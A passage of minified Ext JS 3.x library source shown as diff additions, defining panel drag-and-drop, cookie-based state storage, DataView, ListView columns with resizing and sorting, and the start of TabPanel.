yes:"Yes", no:"No"}} +}(); +Ext.Msg = Ext.MessageBox; +Ext.dd.PanelProxy = Ext.extend(Object, {constructor:function (a, b) { + this.panel = a; + this.id = this.panel.id + "-ddproxy"; + Ext.apply(this, b) +}, insertProxy:true, setStatus:Ext.emptyFn, reset:Ext.emptyFn, update:Ext.emptyFn, stop:Ext.emptyFn, sync:Ext.emptyFn, getEl:function () { + return this.ghost +}, getGhost:function () { + return this.ghost +}, getProxy:function () { + return this.proxy +}, hide:function () { + if (this.ghost) { + if (this.proxy) { + this.proxy.remove(); + delete this.proxy + } + this.panel.el.dom.style.display = ""; + this.ghost.remove(); + delete this.ghost + } +}, show:function () { + if (!this.ghost) { + this.ghost = this.panel.createGhost(this.panel.initialConfig.cls, undefined, Ext.getBody()); + this.ghost.setXY(this.panel.el.getXY()); + if (this.insertProxy) { + this.proxy = this.panel.el.insertSibling({cls:"x-panel-dd-spacer"}); + this.proxy.setSize(this.panel.getSize()) + } + this.panel.el.dom.style.display = "none" + } +}, repair:function (b, c, a) { + this.hide(); + if (typeof c == "function") { + c.call(a || this) + } +}, moveProxy:function (a, b) { + if (this.proxy) { + a.insertBefore(this.proxy.dom, b) + } +}}); +Ext.Panel.DD = Ext.extend(Ext.dd.DragSource, {constructor:function (b, a) { + this.panel = b; + this.dragData = {panel:b}; + this.proxy = new Ext.dd.PanelProxy(b, a); + Ext.Panel.DD.superclass.constructor.call(this, b.el, a); + var d = b.header, c = b.body; + if (d) { + this.setHandleElId(d.id); + c = b.header + } + c.setStyle("cursor", "move"); + this.scroll = false +}, showFrame:Ext.emptyFn, startDrag:Ext.emptyFn, b4StartDrag:function (a, b) { + this.proxy.show() +}, b4MouseDown:function (b) { + var a = b.getPageX(), c = b.getPageY(); + this.autoOffset(a, c) +}, onInitDrag:function (a, b) { + this.onStartDrag(a, b); + return true +}, createFrame:Ext.emptyFn, getDragEl:function (a) { + return this.proxy.ghost.dom +}, endDrag:function (a) { + this.proxy.hide(); + this.panel.saveState() +}, autoOffset:function (a, b) { + a -= this.startPageX; + b -= this.startPageY; + this.setDelta(a, b) +}}); +Ext.state.Provider = Ext.extend(Ext.util.Observable, {constructor:function () { + this.addEvents("statechange"); + this.state = {}; + Ext.state.Provider.superclass.constructor.call(this) +}, get:function (b, a) { + return typeof this.state[b] == "undefined" ? a : this.state[b] +}, clear:function (a) { + delete this.state[a]; + this.fireEvent("statechange", this, a, null) +}, set:function (a, b) { + this.state[a] = b; + this.fireEvent("statechange", this, a, b) +}, decodeValue:function (b) { + var e = /^(a|n|d|b|s|o|e)\:(.*)$/, h = e.exec(unescape(b)), d, c, a, g; + if (!h || !h[1]) { + return + } + c = h[1]; + a = h[2]; + switch (c) { + case"e": + return null; + case"n": + return parseFloat(a); + case"d": + return new Date(Date.parse(a)); + case"b": + return(a == "1"); + case"a": + d = []; + if (a != "") { + Ext.each(a.split("^"), function (i) { + d.push(this.decodeValue(i)) + }, this) + } + return d; + case"o": + d = {}; + if (a != "") { + Ext.each(a.split("^"), function (i) { + g = i.split("="); + d[g[0]] = this.decodeValue(g[1]) + }, this) + } + return d; + default: + return a + } +}, encodeValue:function (c) { + var b, g = "", e = 0, a, d; + if (c == null) { + return"e:1" + } else { + if (typeof c == "number") { + b = "n:" + c + } else { + if (typeof c == "boolean") { + b = "b:" + (c ? "1" : "0") + } else { + if (Ext.isDate(c)) { + b = "d:" + c.toGMTString() + } else { + if (Ext.isArray(c)) { + for (a = c.length; e < a; e++) { + g += this.encodeValue(c[e]); + if (e != a - 1) { + g += "^" + } + } + b = "a:" + g + } else { + if (typeof c == "object") { + for (d in c) { + if (typeof c[d] != "function" && c[d] !== undefined) { + g += d + "=" + this.encodeValue(c[d]) + "^" + } + } + b = "o:" + g.substring(0, g.length - 1) + } else { + b = "s:" + c + } + } + } + } + } + } + return escape(b) +}}); +Ext.state.Manager = function () { + var a = new Ext.state.Provider(); + return{setProvider:function (b) { + a = b + }, get:function (c, b) { + return a.get(c, b) + }, set:function (b, c) { + a.set(b, c) + }, clear:function (b) { + a.clear(b) + }, getProvider:function () { + return a + }} +}(); +Ext.state.CookieProvider = Ext.extend(Ext.state.Provider, {constructor:function (a) { + Ext.state.CookieProvider.superclass.constructor.call(this); + this.path = "/"; + this.expires = new Date(new Date().getTime() + (1000 * 60 * 60 * 24 * 7)); + this.domain = null; + this.secure = false; + Ext.apply(this, a); + this.state = this.readCookies() +}, set:function (a, b) { + if (typeof b == "undefined" || b === null) { + this.clear(a); + return + } + this.setCookie(a, b); + Ext.state.CookieProvider.superclass.set.call(this, a, b) +}, clear:function (a) { + this.clearCookie(a); + Ext.state.CookieProvider.superclass.clear.call(this, a) +}, readCookies:function () { + var d = {}, h = document.cookie + ";", b = /\s?(.*?)=(.*?);/g, g, a, e; + while ((g = b.exec(h)) != null) { + a = g[1]; + e = g[2]; + if (a && a.substring(0, 3) == "ys-") { + d[a.substr(3)] = this.decodeValue(e) + } + } + return d +}, setCookie:function (a, b) { + document.cookie = "ys-" + a + "=" + this.encodeValue(b) + ((this.expires == null) ? "" : ("; expires=" + this.expires.toGMTString())) + ((this.path == null) ? "" : ("; path=" + this.path)) + ((this.domain == null) ? "" : ("; domain=" + this.domain)) + ((this.secure == true) ? "; secure" : "") +}, clearCookie:function (a) { + document.cookie = "ys-" + a + "=null; expires=Thu, 01-Jan-70 00:00:01 GMT" + ((this.path == null) ? "" : ("; path=" + this.path)) + ((this.domain == null) ? "" : ("; domain=" + this.domain)) + ((this.secure == true) ? "; secure" : "") +}}); +Ext.DataView = Ext.extend(Ext.BoxComponent, {selectedClass:"x-view-selected", emptyText:"", deferEmptyText:true, trackOver:false, blockRefresh:false, last:false, initComponent:function () { + Ext.DataView.superclass.initComponent.call(this); + if (Ext.isString(this.tpl) || Ext.isArray(this.tpl)) { + this.tpl = new Ext.XTemplate(this.tpl) + } + this.addEvents("beforeclick", "click", "mouseenter", "mouseleave", "containerclick", "dblclick", "contextmenu", "containercontextmenu", "selectionchange", "beforeselect"); + this.store = Ext.StoreMgr.lookup(this.store); + this.all = new Ext.CompositeElementLite(); + this.selected = new Ext.CompositeElementLite() +}, afterRender:function () { + Ext.DataView.superclass.afterRender.call(this); + this.mon(this.getTemplateTarget(), {click:this.onClick, dblclick:this.onDblClick, contextmenu:this.onContextMenu, scope:this}); + if (this.overClass || this.trackOver) { + this.mon(this.getTemplateTarget(), {mouseover:this.onMouseOver, mouseout:this.onMouseOut, scope:this}) + } + if (this.store) { + this.bindStore(this.store, true) + } +}, refresh:function () { + this.clearSelections(false, true); + var b = this.getTemplateTarget(), a = this.store.getRange(); + b.update(""); + if (a.length < 1) { + if (!this.deferEmptyText || this.hasSkippedEmptyText) { + b.update(this.emptyText) + } + this.all.clear() + } else { + this.tpl.overwrite(b, this.collectData(a, 0)); + this.all.fill(Ext.query(this.itemSelector, b.dom)); + this.updateIndexes(0) + } + this.hasSkippedEmptyText = true +}, getTemplateTarget:function () { + return this.el +}, prepareData:function (a) { + return a +}, collectData:function (b, e) { + var d = [], c = 0, a = b.length; + for (; c < a; c++) { + d[d.length] = this.prepareData(b[c].data, e + c, b[c]) + } + return d +}, bufferRender:function (a, b) { + var c = document.createElement("div"); + this.tpl.overwrite(c, this.collectData(a, b)); + return Ext.query(this.itemSelector, c) +}, onUpdate:function (g, a) { + var b = this.store.indexOf(a); + if (b > -1) { + var e = this.isSelected(b), c = this.all.elements[b], d = this.bufferRender([a], b)[0]; + this.all.replaceElement(b, d, true); + if (e) { + this.selected.replaceElement(c, d); + this.all.item(b).addClass(this.selectedClass) + } + this.updateIndexes(b, b) + } +}, onAdd:function (g, d, e) { + if (this.all.getCount() === 0) { + this.refresh(); + return + } + var c = this.bufferRender(d, e), h, b = this.all.elements; + if (e < this.all.getCount()) { + h = this.all.item(e).insertSibling(c, "before", true); + b.splice.apply(b, [e, 0].concat(c)) + } else { + h = this.all.last().insertSibling(c, "after", true); + b.push.apply(b, c) + } + this.updateIndexes(e) +}, onRemove:function (c, a, b) { + this.deselect(b); + this.all.removeElement(b, true); + this.updateIndexes(b); + if (this.store.getCount() === 0) { + this.refresh() + } +}, refreshNode:function (a) { + this.onUpdate(this.store, this.store.getAt(a)) +}, updateIndexes:function (d, c) { + var b = this.all.elements; + d = d || 0; + c = c || ((c === 0) ? 0 : (b.length - 1)); + for (var a = d; a <= c; a++) { + b[a].viewIndex = a + } +}, getStore:function () { + return this.store +}, bindStore:function (a, b) { + if (!b && this.store) { + if (a !== this.store && this.store.autoDestroy) { + this.store.destroy() + } else { + this.store.un("beforeload", this.onBeforeLoad, this); + this.store.un("datachanged", this.onDataChanged, this); + this.store.un("add", this.onAdd, this); + this.store.un("remove", this.onRemove, this); + this.store.un("update", this.onUpdate, this); + this.store.un("clear", this.refresh, this) + } + if (!a) { + this.store = null + } + } + if (a) { + a = Ext.StoreMgr.lookup(a); + a.on({scope:this, beforeload:this.onBeforeLoad, datachanged:this.onDataChanged, add:this.onAdd, remove:this.onRemove, update:this.onUpdate, clear:this.refresh}) + } + this.store = a; + if (a) { + this.refresh() + } +}, onDataChanged:function () { + if (this.blockRefresh !== true) { + this.refresh.apply(this, arguments) + } +}, findItemFromChild:function (a) { + return Ext.fly(a).findParent(this.itemSelector, this.getTemplateTarget()) +}, onClick:function (c) { + var b = c.getTarget(this.itemSelector, this.getTemplateTarget()), a; + if (b) { + a = this.indexOf(b); + if (this.onItemClick(b, a, c) !== false) { + this.fireEvent("click", this, a, b, c) + } + } else { + if (this.fireEvent("containerclick", this, c) !== false) { + this.onContainerClick(c) + } + } +}, onContainerClick:function (a) { + this.clearSelections() +}, onContextMenu:function (b) { + var a = b.getTarget(this.itemSelector, this.getTemplateTarget()); + if (a) { + this.fireEvent("contextmenu", this, this.indexOf(a), a, b) + } else { + this.fireEvent("containercontextmenu", this, b) + } +}, onDblClick:function (b) { + var a = b.getTarget(this.itemSelector, this.getTemplateTarget()); + if (a) { + this.fireEvent("dblclick", this, this.indexOf(a), a, b) + } +}, onMouseOver:function (b) { + var a = b.getTarget(this.itemSelector, this.getTemplateTarget()); + if (a && a !== this.lastItem) { + this.lastItem = a; + Ext.fly(a).addClass(this.overClass); + this.fireEvent("mouseenter", this, this.indexOf(a), a, b) + } +}, onMouseOut:function (a) { + if (this.lastItem) { + if (!a.within(this.lastItem, true, true)) { + Ext.fly(this.lastItem).removeClass(this.overClass); + this.fireEvent("mouseleave", this, this.indexOf(this.lastItem), this.lastItem, a); + delete this.lastItem + } + } +}, onItemClick:function (b, a, c) { + if (this.fireEvent("beforeclick", this, a, b, c) === false) { + return false + } + if (this.multiSelect) { + this.doMultiSelection(b, a, c); + c.preventDefault() + } else { + if (this.singleSelect) { + this.doSingleSelection(b, a, c); + c.preventDefault() + } + } + return true +}, doSingleSelection:function (b, a, c) { + if (c.ctrlKey && this.isSelected(a)) { + this.deselect(a) + } else { + this.select(a, false) + } +}, doMultiSelection:function (c, a, d) { + if (d.shiftKey && this.last !== false) { + var b = this.last; + this.selectRange(b, a, d.ctrlKey); + this.last = b + } else { + if ((d.ctrlKey || this.simpleSelect) && this.isSelected(a)) { + this.deselect(a) + } else { + this.select(a, d.ctrlKey || d.shiftKey || this.simpleSelect) + } + } +}, getSelectionCount:function () { + return this.selected.getCount() +}, getSelectedNodes:function () { + return this.selected.elements +}, getSelectedIndexes:function () { + var b = [], d = this.selected.elements, c = 0, a = d.length; + for (; c < a; c++) { + b.push(d[c].viewIndex) + } + return b +}, getSelectedRecords:function () { + return this.getRecords(this.selected.elements) +}, getRecords:function (c) { + var b = [], d = 0, a = c.length; + for (; d < a; d++) { + b[b.length] = this.store.getAt(c[d].viewIndex) + } + return b +}, getRecord:function (a) { + return this.store.getAt(a.viewIndex) +}, clearSelections:function (a, b) { + if ((this.multiSelect || this.singleSelect) && this.selected.getCount() > 0) { + if (!b) { + this.selected.removeClass(this.selectedClass) + } + this.selected.clear(); + this.last = false; + if (!a) { + this.fireEvent("selectionchange", this, this.selected.elements) + } + } +}, isSelected:function (a) { + return this.selected.contains(this.getNode(a)) +}, deselect:function (a) { + if (this.isSelected(a)) { + a = this.getNode(a); + this.selected.removeElement(a); + if (this.last == a.viewIndex) { + this.last = false + } + Ext.fly(a).removeClass(this.selectedClass); + this.fireEvent("selectionchange", this, this.selected.elements) + } +}, select:function (d, g, b) { + if (Ext.isArray(d)) { + if (!g) { + this.clearSelections(true) + } + for (var c = 0, a = d.length; c < a; c++) { + this.select(d[c], true, true) + } + if (!b) { + this.fireEvent("selectionchange", this, this.selected.elements) + } + } else { + var e = this.getNode(d); + if (!g) { + this.clearSelections(true) + } + if (e && !this.isSelected(e)) { + if (this.fireEvent("beforeselect", this, e, this.selected.elements) !== false) { + Ext.fly(e).addClass(this.selectedClass); + this.selected.add(e); + this.last = e.viewIndex; + if (!b) { + this.fireEvent("selectionchange", this, this.selected.elements) + } + } + } + } +}, selectRange:function (c, a, b) { + if (!b) { + this.clearSelections(true) + } + this.select(this.getNodes(c, a), true) +}, getNode:function (b) { + if (Ext.isString(b)) { + return document.getElementById(b) + } else { + if (Ext.isNumber(b)) { + return this.all.elements[b] + } else { + if (b instanceof Ext.data.Record) { + var a = this.store.indexOf(b); + return this.all.elements[a] + } + } + } + return b +}, getNodes:function (e, a) { + var d = this.all.elements, b = [], c; + e = e || 0; + a = !Ext.isDefined(a) ? Math.max(d.length - 1, 0) : a; + if (e <= a) { + for (c = e; c <= a && d[c]; c++) { + b.push(d[c]) + } + } else { + for (c = e; c >= a && d[c]; c--) { + b.push(d[c]) + } + } + return b +}, indexOf:function (a) { + a = this.getNode(a); + if (Ext.isNumber(a.viewIndex)) { + return a.viewIndex + } + return this.all.indexOf(a) +}, onBeforeLoad:function () { + if (this.loadingText) { + this.clearSelections(false, true); + this.getTemplateTarget().update('
    ' + this.loadingText + "
    "); + this.all.clear() + } +}, onDestroy:function () { + this.all.clear(); + this.selected.clear(); + Ext.DataView.superclass.onDestroy.call(this); + this.bindStore(null) +}}); +Ext.DataView.prototype.setStore = Ext.DataView.prototype.bindStore; +Ext.reg("dataview", Ext.DataView); +Ext.list.ListView = Ext.extend(Ext.DataView, {itemSelector:"dl", selectedClass:"x-list-selected", overClass:"x-list-over", scrollOffset:undefined, columnResize:true, columnSort:true, maxColumnWidth:Ext.isIE ? 99 : 100, initComponent:function () { + if (this.columnResize) { + this.colResizer = new Ext.list.ColumnResizer(this.colResizer); + this.colResizer.init(this) + } + if (this.columnSort) { + this.colSorter = new Ext.list.Sorter(this.columnSort); + this.colSorter.init(this) + } + if (!this.internalTpl) { + this.internalTpl = new Ext.XTemplate('
    ', '', '
    ', "{header}", "
    ", "
    ", '
    ', "
    ", '
    ', "
    ") + } + if (!this.tpl) { + this.tpl = new Ext.XTemplate('', "
    ", '', '
    ', ' class="{cls}">', "{[values.tpl.apply(parent)]}", "
    ", "
    ", '
    ', "
    ", "
    ") + } + var l = this.columns, h = 0, k = 0, m = l.length, b = []; + for (var g = 0; g < m; g++) { + var n = l[g]; + if (!n.isColumn) { + n.xtype = n.xtype ? (/^lv/.test(n.xtype) ? n.xtype : "lv" + n.xtype) : "lvcolumn"; + n = Ext.create(n) + } + if (n.width) { + h += n.width * 100; + if (h > this.maxColumnWidth) { + n.width -= (h - this.maxColumnWidth) / 100 + } + k++ + } + b.push(n) + } + l = this.columns = b; + if (k < m) { + var d = m - k; + if (h < this.maxColumnWidth) { + var a = ((this.maxColumnWidth - h) / d) / 100; + for (var e = 0; e < m; e++) { + var n = l[e]; + if (!n.width) { + n.width = a + } + } + } + } + Ext.list.ListView.superclass.initComponent.call(this) +}, onRender:function () { + this.autoEl = {cls:"x-list-wrap"}; + Ext.list.ListView.superclass.onRender.apply(this, arguments); + this.internalTpl.overwrite(this.el, {columns:this.columns}); + this.innerBody = Ext.get(this.el.dom.childNodes[1].firstChild); + this.innerHd = Ext.get(this.el.dom.firstChild.firstChild); + if (this.hideHeaders) { + this.el.dom.firstChild.style.display = "none" + } +}, getTemplateTarget:function () { + return this.innerBody +}, collectData:function () { + var a = Ext.list.ListView.superclass.collectData.apply(this, arguments); + return{columns:this.columns, rows:a} +}, verifyInternalSize:function () { + if (this.lastSize) { + this.onResize(this.lastSize.width, this.lastSize.height) + } +}, onResize:function (c, e) { + var b = this.innerBody.dom, g = this.innerHd.dom, d = c - Ext.num(this.scrollOffset, Ext.getScrollBarWidth()) + "px", a; + if (!b) { + return + } + a = b.parentNode; + if (Ext.isNumber(c)) { + if (this.reserveScrollOffset || ((a.offsetWidth - a.clientWidth) > 10)) { + b.style.width = d; + g.style.width = d + } else { + b.style.width = c + "px"; + g.style.width = c + "px"; + setTimeout(function () { + if ((a.offsetWidth - a.clientWidth) > 10) { + b.style.width = d; + g.style.width = d + } + }, 10) + } + } + if (Ext.isNumber(e)) { + a.style.height = Math.max(0, e - g.parentNode.offsetHeight) + "px" + } +}, updateIndexes:function () { + Ext.list.ListView.superclass.updateIndexes.apply(this, arguments); + this.verifyInternalSize() +}, findHeaderIndex:function (g) { + g = g.dom || g; + var a = g.parentNode, d = a.parentNode.childNodes, b = 0, e; + for (; e = d[b]; b++) { + if (e == a) { + return b + } + } + return -1 +}, setHdWidths:function () { + var d = this.innerHd.dom.getElementsByTagName("div"), c = 0, b = this.columns, a = b.length; + for (; c < a; c++) { + d[c].style.width = (b[c].width * 100) + "%" + } +}}); +Ext.reg("listview", Ext.list.ListView); +Ext.ListView = Ext.list.ListView; +Ext.list.Column = Ext.extend(Object, {isColumn:true, align:"left", header:"", width:null, cls:"", constructor:function (a) { + if (!a.tpl) { + a.tpl = new Ext.XTemplate("{" + a.dataIndex + "}") + } else { + if (Ext.isString(a.tpl)) { + a.tpl = new Ext.XTemplate(a.tpl) + } + } + Ext.apply(this, a) +}}); +Ext.reg("lvcolumn", Ext.list.Column); +Ext.list.NumberColumn = Ext.extend(Ext.list.Column, {format:"0,000.00", constructor:function (a) { + a.tpl = a.tpl || new Ext.XTemplate("{" + a.dataIndex + ':number("' + (a.format || this.format) + '")}'); + Ext.list.NumberColumn.superclass.constructor.call(this, a) +}}); +Ext.reg("lvnumbercolumn", Ext.list.NumberColumn); +Ext.list.DateColumn = Ext.extend(Ext.list.Column, {format:"m/d/Y", constructor:function (a) { + a.tpl = a.tpl || new Ext.XTemplate("{" + a.dataIndex + ':date("' + (a.format || this.format) + '")}'); + Ext.list.DateColumn.superclass.constructor.call(this, a) +}}); +Ext.reg("lvdatecolumn", Ext.list.DateColumn); +Ext.list.BooleanColumn = Ext.extend(Ext.list.Column, {trueText:"true", falseText:"false", undefinedText:" ", constructor:function (e) { + e.tpl = e.tpl || new Ext.XTemplate("{" + e.dataIndex + ":this.format}"); + var b = this.trueText, d = this.falseText, a = this.undefinedText; + e.tpl.format = function (c) { + if (c === undefined) { + return a + } + if (!c || c === "false") { + return d + } + return b + }; + Ext.list.DateColumn.superclass.constructor.call(this, e) +}}); +Ext.reg("lvbooleancolumn", Ext.list.BooleanColumn); +Ext.list.ColumnResizer = Ext.extend(Ext.util.Observable, {minPct:0.05, constructor:function (a) { + Ext.apply(this, a); + Ext.list.ColumnResizer.superclass.constructor.call(this) +}, init:function (a) { + this.view = a; + a.on("render", this.initEvents, this) +}, initEvents:function (a) { + a.mon(a.innerHd, "mousemove", this.handleHdMove, this); + this.tracker = new Ext.dd.DragTracker({onBeforeStart:this.onBeforeStart.createDelegate(this), onStart:this.onStart.createDelegate(this), onDrag:this.onDrag.createDelegate(this), onEnd:this.onEnd.createDelegate(this), tolerance:3, autoStart:300}); + this.tracker.initEl(a.innerHd); + a.on("beforedestroy", this.tracker.destroy, this.tracker) +}, handleHdMove:function (i, d) { + var c = 5, b = i.getPageX(), j = i.getTarget("em", 3, true); + if (j) { + var h = j.getRegion(), g = j.dom.style, a = j.dom.parentNode; + if (b - h.left <= c && a != a.parentNode.firstChild) { + this.activeHd = Ext.get(a.previousSibling.firstChild); + g.cursor = Ext.isWebKit ? "e-resize" : "col-resize" + } else { + if (h.right - b <= c && a != a.parentNode.lastChild.previousSibling) { + this.activeHd = j; + g.cursor = Ext.isWebKit ? "w-resize" : "col-resize" + } else { + delete this.activeHd; + g.cursor = "" + } + } + } +}, onBeforeStart:function (a) { + this.dragHd = this.activeHd; + return !!this.dragHd +}, onStart:function (g) { + var d = this, b = d.view, c = d.dragHd, a = d.tracker.getXY()[0]; + d.proxy = b.el.createChild({cls:"x-list-resizer"}); + d.dragX = c.getX(); + d.headerIndex = b.findHeaderIndex(c); + d.headersDisabled = b.disableHeaders; + b.disableHeaders = true; + d.proxy.setHeight(b.el.getHeight()); + d.proxy.setX(d.dragX); + d.proxy.setWidth(a - d.dragX); + this.setBoundaries() +}, setBoundaries:function (j) { + var k = this.view, h = this.headerIndex, c = k.innerHd.getWidth(), j = k.innerHd.getX(), b = Math.ceil(c * this.minPct), l = c - b, e = k.columns.length, d = k.innerHd.select("em", true), g = b + j, a = l + j, i; + if (e == 2) { + this.minX = g; + this.maxX = a + } else { + i = d.item(h + 2); + this.minX = d.item(h).getX() + b; + this.maxX = i ? i.getX() - b : a; + if (h == 0) { + this.minX = g + } else { + if (h == e - 2) { + this.maxX = a + } + } + } +}, onDrag:function (c) { + var b = this, a = b.tracker.getXY()[0].constrain(b.minX, b.maxX); + b.proxy.setWidth(a - this.dragX) +}, onEnd:function (i) { + var g = this.proxy.getWidth(), h = this.headerIndex, l = this.view, c = l.columns, b = l.innerHd.getWidth(), k = Math.ceil(g * l.maxColumnWidth / b) / 100, d = this.headersDisabled, m = c[h], j = c[h + 1], a = m.width + j.width; + this.proxy.remove(); + m.width = k; + j.width = a - k; + delete this.dragHd; + l.setHdWidths(); + l.refresh(); + setTimeout(function () { + l.disableHeaders = d + }, 100) +}}); +Ext.ListView.ColumnResizer = Ext.list.ColumnResizer; +Ext.list.Sorter = Ext.extend(Ext.util.Observable, {sortClasses:["sort-asc", "sort-desc"], constructor:function (a) { + Ext.apply(this, a); + Ext.list.Sorter.superclass.constructor.call(this) +}, init:function (a) { + this.view = a; + a.on("render", this.initEvents, this) +}, initEvents:function (a) { + a.mon(a.innerHd, "click", this.onHdClick, this); + a.innerHd.setStyle("cursor", "pointer"); + a.mon(a.store, "datachanged", this.updateSortState, this); + this.updateSortState.defer(10, this, [a.store]) +}, updateSortState:function (c) { + var g = c.getSortState(); + if (!g) { + return + } + this.sortState = g; + var e = this.view.columns, h = -1; + for (var d = 0, a = e.length; d < a; d++) { + if (e[d].dataIndex == g.field) { + h = d; + break + } + } + if (h != -1) { + var b = g.direction; + this.updateSortIcon(h, b) + } +}, updateSortIcon:function (b, a) { + var d = this.sortClasses; + var c = this.view.innerHd.select("em").removeClass(d); + c.item(b).addClass(d[a == "DESC" ? 1 : 0]) +}, onHdClick:function (c) { + var b = c.getTarget("em", 3); + if (b && !this.view.disableHeaders) { + var a = this.view.findHeaderIndex(b); + this.view.store.sort(this.view.columns[a].dataIndex) + } +}}); +Ext.ListView.Sorter = Ext.list.Sorter; +Ext.TabPanel = Ext.extend(Ext.Panel, {deferredRender:true, tabWidth:120, minTabWidth:30, resizeTabs:false, enableTabScroll:false, scrollIncrement:0, scrollRepeatInterval:400, scrollDuration:0.35, animScroll:true, tabPosition:"top", baseCls:"x-tab-panel", autoTabs:false, autoTabSelector:"div.x-tab", activeTab:undefined, tabMargin:2, plain:false, wheelIncrement:20, idDelimiter:"__", itemCls:"x-tab-item", elements:"body", headerAsText:false, frame:false, hideBorders:true, initComponent:function () { + this.frame = false; + Ext.TabPanel.superclass.initComponent.call(this); + this.addEvents("beforetabchange", "tabchange", "contextmenu"); + this.setLayout(new Ext.layout.CardLayout(Ext.apply({layoutOnCardChange:this.layoutOnTabChange, deferredRender:this.deferredRender}, this.layoutConfig))); + if (this.tabPosition == "top") { + this.elements += ",header"; + this.stripTarget = "header" + } else { + this.elements += ",footer"; + this.stripTarget = "footer" + } + if (!this.stack) { + this.stack = Ext.TabPanel.AccessStack() + } + this.initItems() +}, onRender:function (c, a) { + Ext.TabPanel.superclass.onRender.call(this, c, a); + if (this.plain) { + var g = this.tabPosition == "top" ? "header" : "footer"; + this[g].addClass("x-tab-panel-" + g + "-plain") + } + var b = this[this.stripTarget]; + this.stripWrap = b.createChild({cls:"x-tab-strip-wrap", cn:{tag:"ul", cls:"x-tab-strip x-tab-strip-" + this.tabPosition}}); + var e = (this.tabPosition == "bottom" ? this.stripWrap : null); + b.createChild({cls:"x-tab-strip-spacer"}, e); + this.strip = new Ext.Element(this.stripWrap.dom.firstChild); + this.edge = this.strip.createChild({tag:"li", cls:"x-tab-edge", cn:[ + {tag:"span", cls:"x-tab-strip-text", cn:" "} + ]}); + this.strip.createChild({cls:"x-clear"}); + this.body.addClass("x-tab-panel-body-" + this.tabPosition); + if (!this.itemTpl) { + var d = new Ext.Template('
  • ', '', '{text}', "
  • "); + d.disableFormats = true; + d.compile(); + Ext.TabPanel.prototype.itemTpl = d + } + this.items.each(this.initTab, this) +}, afterRender:function () { + Ext.TabPanel.superclass.afterRender.call(this); + if (this.autoTabs) { + this.readTabs(false) + } + if (this.activeTab !== undefined) { + var a = Ext.isObject(this.activeTab) ? this.activeTab : this.items.get(this.activeTab); + delete this.activeTab; + this.setActiveTab(a) + } +}, initEvents:function () { + Ext.TabPanel.superclass.initEvents.call(this); + this.mon(this.strip, {scope:this, mousedown:this.onStripMouseDown, contextmenu:this.onStripContextMenu}); + if (this.enableTabScroll) { + this.mon(this.strip, "mousewheel", this.onWheel, this) + } +}, findTargets:function (c) { + var b = null, a = c.getTarget("li:not(.x-tab-edge)", this.strip); + if (a) { + b = this.getComponent(a.id.split(this.idDelimiter)[1]); + if (b.disabled) { + return{close:null, item:null, el:null} + } + } + return{close:c.getTarget(".x-tab-strip-close", this.strip), item:b, el:a} +}, onStripMouseDown:function (b) { + if (b.button !== 0) { + return + } + b.preventDefault(); + var a = this.findTargets(b); + if (a.close) { + if (a.item.fireEvent("beforeclose", a.item) !== false) { + a.item.fireEvent("close", a.item); + this.remove(a.item) + } + return + } + if (a.item && a.item != this.activeTab) { + this.setActiveTab(a.item) + } +}, onStripContextMenu:function (b) { + b.preventDefault(); + var a = this.findTargets(b); + if (a.item) { + this.fireEvent("contextmenu", this, a.item, b) + } +}, readTabs:function (d) { + if (d === true) { + this.items.each(function (h) { + this.remove(h) + }, this) + } + var c = this.el.query(this.autoTabSelector); + for (var b = 0, a = c.length; b < a; b++) { + var e = c[b], g = e.getAttribute("title"); + e.removeAttribute("title"); + this.add({title:g, contentEl:e}) + } +}, initTab:function (d, b) { + var e = this.strip.dom.childNodes[b], g = this.getTemplateArgs(d), c = e ? this.itemTpl.insertBefore(e, g) : this.itemTpl.append(this.strip, g), a = "x-tab-strip-over", h = Ext.get(c); + h.hover(function () { + if (!d.disabled) { + h.addClass(a) + } + }, function () { + h.removeClass(a) + }); + if (d.tabTip) { + h.child("span.x-tab-strip-text", true).qtip = d.tabTip + } + d.tabEl = c; + h.select("a").on("click", function (i) { + if (!i.getPageX()) { + this.onStripMouseDown(i) + } + }, this, {preventDefault:true}); + d.on({scope:this, disable:this.onItemDisabled, enable:this.onItemEnabled, titlechange:this.onItemTitleChanged, iconchange:this.onItemIconChanged, beforeshow:this.onBeforeShowItem}) +}, getTemplateArgs:function (b) { + var a = b.closable ? "x-tab-strip-closable" : ""; + if (b.disabled) { + a += " x-item-disabled" + } + if (b.iconCls) { + a += " x-tab-with-icon" + } + if (b.tabCls) { + a += " " + b.tabCls + } + return{id:this.id + this.idDelimiter + b.getItemId(), text:b.title, cls:a, iconCls:b.iconCls || ""} +}, onAdd:function (b) { + Ext.TabPanel.superclass.onAdd.call(this, b); + if (this.rendered) { + var a = this.items; + this.initTab(b, a.indexOf(b)); + this.delegateUpdates() + } +}, onBeforeAdd:function (b) { + var a = b.events ? (this.items.containsKey(b.getItemId()) ? b : null) : this.items.get(b); + if (a) { + this.setActiveTab(b); + return false + } + Ext.TabPanel.superclass.onBeforeAdd.apply(this, arguments); + var c = b.elements; + b.elements = c ? c.replace(",header", "") : c; + b.border = (b.border === true) +}, onRemove:function (d) { + var b = Ext.get(d.tabEl); + if (b) { + b.select("a").removeAllListeners(); + Ext.destroy(b) + } + Ext.TabPanel.superclass.onRemove.call(this, d); + this.stack.remove(d); + delete d.tabEl; + d.un("disable", this.onItemDisabled, this); + d.un("enable", this.onItemEnabled, this); + d.un("titlechange", this.onItemTitleChanged, this); + d.un("iconchange", this.onItemIconChanged, this); + d.un("beforeshow", this.onBeforeShowItem, this); + if (d == this.activeTab) { + var a = this.stack.next(); + if (a) { + this.setActiveTab(a) + } else { + if (this.items.getCount() > 0) { + this.setActiveTab(0) + } else { + this.setActiveTab(null) + } + } + } + if (!this.destroying) { + this.delegateUpdates() + } +}, onBeforeShowItem:function (a) { + if (a != this.activeTab) { + this.setActiveTab(a); + return false + } +}, onItemDisabled:function (b) { + var a = this.getTabEl(b); + if (a) { + Ext.fly(a).addClass("x-item-disabled") + } + this.stack.remove(b) +}, onItemEnabled:function (b) { + var a = this.getTabEl(b); + if (a) { + Ext.fly(a).removeClass("x-item-disabled") + } +}, onItemTitleChanged:function (b) { + var a = this.getTabEl(b); + if (a) { + Ext.fly(a).child("span.x-tab-strip-text", true).innerHTML = b.title + } +}, onItemIconChanged:function (d, a, c) { + var b = this.getTabEl(d); + if (b) { + b = Ext.get(b); + b.child("span.x-tab-strip-text").replaceClass(c, a); + b[Ext.isEmpty(a) ? "removeClass" : "addClass"]("x-tab-with-icon") + } +}, getTabEl:function (a) { + var b = this.getComponent(a); + return b ? b.tabEl : null +}, onResize:function () { + Ext.TabPanel.superclass.onResize.apply(this, arguments); + this.delegateUpdates() +}, beginUpdate:function () 